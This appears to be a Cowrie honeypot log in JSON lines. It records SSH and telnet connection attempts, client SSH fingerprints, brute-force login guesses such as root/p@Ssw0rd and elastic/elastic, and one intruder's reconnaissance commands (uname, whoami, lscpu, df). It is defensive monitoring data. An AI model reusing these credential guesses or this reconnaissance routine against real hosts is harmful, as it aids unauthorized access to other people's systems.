{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.851378Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.854618Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37782,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8b0dc1252e","protocol":"ssh","message":"New connection: 122.168.114.167:37782 (159.203.135.109:22) [session: fb8b0dc1252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.879610Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:20.477308Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:20.722432Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:20.725833Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:21.179000Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:21.522694Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:21.526473Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36872,"dst_ip":"159.203.135.109","dst_port":23,"session":"8125ae8c57f7","protocol":"telnet","message":"New connection: 41.76.108.55:36872 (159.203.135.109:23) [session: 8125ae8c57f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:21.868183Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:21.985163Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.225324Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.228427Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.871814966201782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.392565Z","src_ip":"41.76.108.55","session":"90859e400ffd","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.681609Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.783348Z","src_ip":"122.168.114.167","session":"fb8b0dc1252e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.788087Z","src_ip":"122.168.114.167","session":"fb8b0dc1252e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.931188Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:22.934929Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:23.385426Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:23.730519Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:23.734061Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44336,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b799a6a6351","protocol":"telnet","message":"New connection: 41.76.108.55:44336 (159.203.135.109:23) [session: 7b799a6a6351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:23.848495Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:24.184896Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:24.438690Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:24.443014Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:24.887042Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.142688Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.146173Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794950008392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.153445Z","src_ip":"41.76.108.55","session":"7856ef2fa680","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.587413Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.828994Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:25.832561Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":53102,"dst_ip":"159.203.135.109","dst_port":23,"session":"641af582e21e","protocol":"telnet","message":"New connection: 41.76.108.55:53102 (159.203.135.109:23) [session: 641af582e21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:26.082588Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:26.089168Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:26.094168Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.879926204681396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:27.303444Z","src_ip":"15.204.204.191","session":"de4653ea0dbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6224422454834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:28.256299Z","src_ip":"41.76.108.55","session":"01fa1f7c438b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36180,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe090b90c023","protocol":"telnet","message":"New connection: 41.76.108.55:36180 (159.203.135.109:23) [session: fe090b90c023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:28.924754Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35262,"dst_ip":"159.203.135.109","dst_port":23,"session":"24adb302f834","protocol":"telnet","message":"New connection: 41.76.108.55:35262 (159.203.135.109:23) [session: 24adb302f834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:29.713420Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40700,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5dfebf934b","protocol":"telnet","message":"New connection: 41.76.108.55:40700 (159.203.135.109:23) [session: 2c5dfebf934b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:30.092468Z"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:33.956437Z","src_ip":"122.168.114.167","session":"fb8b0dc1252e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.790826559066772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:34.128207Z","src_ip":"41.76.108.55","session":"8637058d7ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96203851699829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:36.124561Z","src_ip":"41.76.108.55","session":"d18895ba6ae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337691068649292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:36.385028Z","src_ip":"41.76.108.55","session":"c5dbc2d2c0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:38.022923Z","src_ip":"122.168.114.167","session":"fb8b0dc1252e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.740464687347412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:38.299844Z","src_ip":"41.76.108.55","session":"f36a8accab11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856964111328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:38.423601Z","src_ip":"41.76.108.55","session":"f893d4870700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d088b34e3ee","protocol":"telnet","message":"New connection: 41.76.108.55:46792 (159.203.135.109:23) [session: 8d088b34e3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:38.619345Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47336,"dst_ip":"159.203.135.109","dst_port":23,"session":"a36bd3b7040b","protocol":"telnet","message":"New connection: 41.76.108.55:47336 (159.203.135.109:23) [session: a36bd3b7040b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:38.745938Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":37484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7fc1f59fdfe","protocol":"ssh","message":"New connection: 106.75.222.164:37484 (10.17.0.5:22) [session: a7fc1f59fdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.099544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.103432Z","src_ip":"106.75.222.164","session":"a7fc1f59fdfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.338915Z","src_ip":"106.75.222.164","session":"a7fc1f59fdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":39572,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9b417e4702","protocol":"ssh","message":"New connection: 103.13.206.208:39572 (159.203.135.109:22) [session: 4e9b417e4702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.565549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.570438Z","src_ip":"103.13.206.208","session":"4e9b417e4702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:40.819159Z","src_ip":"103.13.206.208","session":"4e9b417e4702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testi","message":"login attempt [test/testi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:41.309522Z","src_ip":"106.75.222.164","session":"a7fc1f59fdfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@Ssw0rd","message":"login attempt [root/p@Ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:41.845644Z","src_ip":"103.13.206.208","session":"4e9b417e4702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:42.545669Z","src_ip":"106.75.222.164","session":"a7fc1f59fdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abfa1100a42","protocol":"telnet","message":"New connection: 41.76.108.55:35902 (159.203.135.109:23) [session: 3abfa1100a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:42.831675Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:43.097084Z","src_ip":"103.13.206.208","session":"4e9b417e4702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":37960,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87ea2742d00","protocol":"telnet","message":"New connection: 15.204.204.191:37960 (10.17.0.5:23) [session: a87ea2742d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:43.702594Z"}
{"eventid":"cowrie.session.closed","duration":30.611551761627197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:46.039288Z","src_ip":"15.204.204.191","session":"a2d9c6fe68f1","protocol":"telnet"}
